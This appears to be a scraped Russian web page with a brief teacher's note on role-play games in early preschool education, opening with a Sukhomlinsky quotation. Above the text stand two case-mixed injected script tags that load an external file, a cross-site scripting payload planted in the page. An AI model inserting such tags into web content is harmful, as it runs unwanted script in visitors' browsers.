<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

30.01.2018

  «Игра- это огромное светлое окно,    

через которое в духовный мир

ребенка вливается живительный  

мир представлений, понятий об  окружающем мире».  

(В.А. Сухомлинский)            

 В младшем дошкольном возрасте ребенок способен отражать только отдельные действия взрослых; дети выражают стремление жить жизнью, общей со своими близкими взрослыми.

В сюжетно-ролевых играх учим детей принимать участие в совместных с воспитателем действиях по заданному сюжету. Формируем простейшие образно-выразительные умения при исполнении роли; учим выполнять подчиненную, позже и главную роль при помощи воспитателя; учим использовать различные предметы, предметы

заместители.

Через игру  и игрушки ребенок выявляет, закрепляет и углубляет свой социальный опыт.